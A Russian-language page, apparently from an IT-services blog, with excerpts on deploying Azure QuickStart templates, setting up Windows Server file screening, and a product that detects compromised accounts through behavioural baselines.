    Каждый раз, когда в Azure создается какой-либо объект, пользователь обычно должен предоставить определенные данные, в зависимости от типа объекта. Тот же подход применяется при использовании шаблона для создания объекта в Azure. Необходимо ввести в шаблон основные сведения, которые перечислены в разделе Parameters. Например, если взглянуть на экран 2, можно увидеть, что для использования шаблона в целях создания стандартной учетной записи хранилища нужно предоставить Azure данные о типе учетной записи хранилища и указать расположение, в котором предстоит создать учетную запись.

    Если взглянуть на нижнюю часть экрана 2, вы заметите, что шаблон можно использовать в сочетании с PowerShell. Предоставляется полная команда. На экране она отрезана, но шаблон можно применить из командной строки.

    Самый простой способ задействовать шаблон Azure QuickStart — просто нажать кнопку Deploy to Azure («Развернуть в Azure») и перейти на портал Azure.

    На этом этапе вы должны увидеть экран, напрямую связанный с выбранным шаблоном. Например, на экране 3 видно, что параметры, показанные в портале Azure, связаны с созданием учетной записи хранилища с применением шаблона. Обратите внимание на параметры, указывающие тип и расположение учетной записи хранилища, как описано на веб странице шаблона.администратор azure

    Завершить процесс развертывания просто. Достаточно выбрать подписку, группу ресурсов и расположение, а затем ввести необходимую информацию в шаблон. Наконец, установите флажок I Agree to the Terms and Conditions («Я принимаю условия») и нажмите кнопку Purchase
    («Приобрести»). Больше ничего не требуется.

    В данной статье мы рассмотрели в качестве примера создание учетной записи хранилища из шаблона, но процесс, в сущности, для любого шаблона один и тот же.

    Вам нужна сопровождение сервисов в Azure, наша DevOps команда решит любые проблемы, обращайтесь office@itfb.com.ua

  • Ограничение загрузки на файловый сервер

    Ограничение загрузки на файловый сервер

    Одна из обязанностей администратора хранилища — обеспечение надлежащего использования хранилища файлов организации. Вероятно, всем известны примеры, когда пользователи копируют всю свою музыкальную коллекцию или загружают инфицированные исполняемые файлы на корпоративный файловый сервер. На такой случай Windows Server предусматривает механизм блокировки, позволяющий сохранять только санкционированные типы данных.

    Доступ к этой функции можно получить через консоль диспетчера ресурсов файлового сервера, которая открывается в меню инструментов диспетчера серверов. Как показано на экране 1, консоль содержит контейнер управления блокировкой файлов File Screen Management, который включает три контейнера.администрирование файлового сервера

    Первый контейнер — это контейнер групп файлов (File Groups), который используется для определения раз-
    личных категорий файлов (экран 2).Например, сжатые файлы могут содержать любой файл с расширением ARJ, CAB, ZIР и др. Аналогично временные файлы определяются как файлы с расширением Temp или ТМР, а также файлы с именами, которые начинаются с тильды (~). Группы файлов можно редактировать по своему усмотрению. Кроме того, можно создавать пользовательские группы файлов. Например, если вы обеспокоены тем, что пользователи заполняют корпоративный массив хранения данных своими видеофайлами, то можете создать группу видеофайлов (Video Files), которая может содержать файлы с такими расширениями, как MP4, MOV или AVI. Следующий контейнер — это контейнер шаблонов фильтра блокировки файлов, позволяющий определять действия в отношении файлов, которые отвечают критериям, установленным для данной группы. Например, на экране 3 видно, что один из шаблонов, Block Executable Files, определяет блокировку исполняемых файлов как действие, применяемое к типам, перечисленным в группе исполняемых файлов.

    Windows позволяет изменять имеющиеся и создавать собственные шаблоны фильтра блокировки файлов. При этом сами по себе шаблоны не выполняют никаких действий. Именно фильтры блокировки файлов, а не шаблоны, сканируют файловую систему. Однако фильтры блокировки файлов привязаны к шаблонам.

    Для изменения свойств шаблона фильтра блокировки файла в контекстном меню, которое открывается щелчком правой кнопки мыши на шаблоне, выберите команду Edit Template Properties («Изменить свойства шаблона»). Откроется окно, подобное приведенному на экране 4. На самом базовом уровне шаблон фильтра блокировки файлов связывает одну или несколько групп файлов с определенными действиями, каковыми в данном случае являются активная либо пассивная блокировка. Активная блокировка запрещает пользователям сохранять несанкционированные типы файлов, тогда как пассивная блокировка используется исключительно для целей мониторинга. Напомню, однако, что просто существование шаблона активной блокировки не вызывает выполнения блокировки. Для реализации блокировки необходимо создать объект фильтра блокировки файлов. Следует отметить, что шаблоны фильтра блокировки файлов могут не только определять типы файлов, сохранение которых следует блокировать. Шаблон фильтра блокировки файла можно настроить так, чтобы при обнаружении несанкционированных типов файлов выполнялись такие действия, как отправка сообщения по электронной почте, создание записи в журнале событий, выполнение команды или создание отчета.

    Как уже говорилось выше, именно объект фильтра блокировки файла осуществляет фактическое действие блокировки. Чтобы создать фильтр блокировки файла, в контекстном меню, которое открывается щелчком правой кнопки мыши на контейнере File Screens («Фильтры блокировки данных»), выберите команду Create File Screen («Создать фильтр блокировки файлов»). Откроется окно создания фильтра блокировки файлов, показанное на экране 5.Как можно заметить, процедура настройки фильтра блокировки файлов проста. Все, что необходимо сделать, — выбрать путь к фильтру блокировки файлов, а затем применить к этому пути шаблон фильтра блокировки файлов. Полезно также изучить сводную информацию в нижней части окна и убедиться в том, что фильтр блокировки будет делать именно то, что нужно. Для создания фильтра блокировки файлов нажмите кнопку Create.

  • Расширение зоны интереса

    Продолжение статьи

    Получив доступ к сети (с помощью украденных учетных данных, атаки методом подбора или другого метода), взломщики предпринимают попытки выполнить вход на различные серверы в поисках ценных данных, которые можно украсть, и дополнительных учетных данных. Обычно у них достаточно времени, чтобы найти то, что им нужно. При подготовке исследования 2017 Cost of Data Breach Study институтом Ponemon (https://www. ponemon.org/library/2017-cost-of-data-breach-study-united-states) выяснилось, что среднее время обнаружения успешного взлома составляет 191 день, то есть более шести месяцев. И еще два месяца (66 дней) требуется, чтобы устранить уязвимость.

    Change Auditor Threat Detection устанавливает базовый уровень нормального поведения для каждого пользователя и составляет шаблоны поведения, а не рассматривает отдельно взятые события, поэтому удается быстро обнаружить учетные записи, которыми завладели злоумышленники. Эти учетные записи будут выделены на панели мониторинга угроз, чтобы вы могли принять меры для защиты ценных активов. Индикаторы такой активности:

    • многочисленные неудачные или успешные попытки входа на различные серверы;
    • попытки доступа к серверам, к которым пользователи никогда не обращались в прошлом;
    • вход в многочисленные учетные записи пользователя с одного компьютера или IP-адреса.

    Современные ИТ-среды ежедневно регистрируют миллионы необработанных событий. Большинство из них отражают совершенно нормальные и законные действия, но в этом никогда нельзя быть уверенным, учитывая лавину предупреждений, которые выдает большинство решений для обнаружения угроз. Аналитики тратят драгоценное время наложные срабатывания, а тем временем взломщики и недобросовестные сотрудники действуют безнаказанно.

    Change Auditor Threat Detection устраняет «отвлекающий шум» и обнаруживает действительные угрозы в вашей среде. Благодаря пониманию какие шаблоны поведения нормальны для данного пользователя и применению многочисленных заранее определенных индикаторов угроз данное решение точно идентифицирует подозрительную активность, которая может свидетельствовать об атаке методом подбора, извлечении данных, повышении привилегий, вредоносных программах или других типичных сценариях нападения.